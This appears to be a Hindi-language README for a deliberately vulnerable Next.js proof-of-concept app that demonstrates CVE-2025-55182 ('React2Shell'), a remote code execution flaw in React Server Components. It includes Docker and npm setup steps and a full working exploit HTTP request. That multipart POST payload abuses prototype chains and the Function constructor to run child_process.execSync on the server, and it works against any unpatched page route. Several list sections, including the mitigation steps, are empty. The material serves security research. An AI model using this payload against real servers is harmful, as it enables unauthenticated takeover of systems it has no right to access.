
CVE-2025-55182 (React2Shell) का प्रदर्शन करने वाला प्रूफ-ऑफ-कॉन्सेप्ट Next.js एप्लिकेशन, React सर्वर घटकों में एक महत्वपूर्ण RCE, शोषण उदाहरण और सुरक्षा अनुसंधान के लिए शमन मार्गदर्शन के साथ।
यह एक प्रूफ-ऑफ-कॉन्सेप्ट Next.js एप्लिकेशन है जो CVE-2025-55182 (जिसे "React2Shell" के नाम से भी जाना जाता है) के लिए संवेदनशील है, जो React सर्वर कंपोनेंट्स में एक महत्वपूर्ण रिमोट कोड एक्सीक्यूशन (RCE) कमजोरी है।
यह एप्लिकेशन जानबूझकर संवेदनशील बनाया गया है और इसका उपयोग केवल इसके लिए किया जाना चाहिए:
न करें:
CVE-2025-55182 प्रभावित करता है:
यह कमजोरी React सर्वर कंपोनेंट्स पेलोड हैंडलिंग में असुरक्षित डिसीरियलाइजेशन से उत्पन्न होती है, जो अप्रमाणित हमलावरों को विशेष रूप से तैयार किए गए HTTP अनुरोधों के माध्यम से सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देती है।
निर्भरताएँ स्थापित करें:
npm install
डेवलपमेंट सर्वर चलाएँ:
npm run dev
एप्लिकेशन तक पहुँचें: अपने ब्राउज़र में http://localhost:3000 खोलें।
डॉकर इमेज बनाएँ:
docker build -t nextjs-cve-2025-55182 .
कंटेनर चलाएँ:
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
एप्लिकेशन तक पहुँचें: अपने ब्राउज़र में http://localhost:3000 खोलें।
/): React सर्वर कंपोनेंट्स का उपयोग कर एक सरल लॉगिन फॉर्म/dashboard): लॉगिन के बाद सुलभ एक संरक्षित पृष्ठयह एप्लिकेशन उपयोग करता है:
यह कमजोरी RSC पेलोड डिसीरियलाइजेशन तंत्र में मौजूद है, जिसका शोषण पेज रूट्स (जैसे, http://localhost:3000 या http://localhost:3000/dashboard) पर सीधे दुर्भावनापूर्ण मल्टीपार्ट HTTP अनुरोध भेजकर किया जा सकता है। यह शोषण React सर्वर कंपोनेंट्स का उपयोग करने वाले किसी भी पृष्ठ पर काम करता है।
इस कमजोरी का शोषण पेज रूट्स (जैसे, http://localhost:3000 या http://localhost:3000/dashboard) पर सीधे विशेष रूप से तैयार किए गए HTTP अनुरोध भेजकर किया जा सकता है। यह शोषण React सर्वर कंपोनेंट्स का उपयोग करने वाले किसी भी पृष्ठ पर काम करता है।
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
यह शोषण सीधे पेज रूट्स को लक्षित करता है - localhost:3000 (होमपेज) या localhost:3000/dashboard (डैशबोर्ड पेज) पर काम करता है।
इस कमजोरी को ठीक करने के लिए:
यह प्रूफ-ऑफ-कॉन्सेप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है।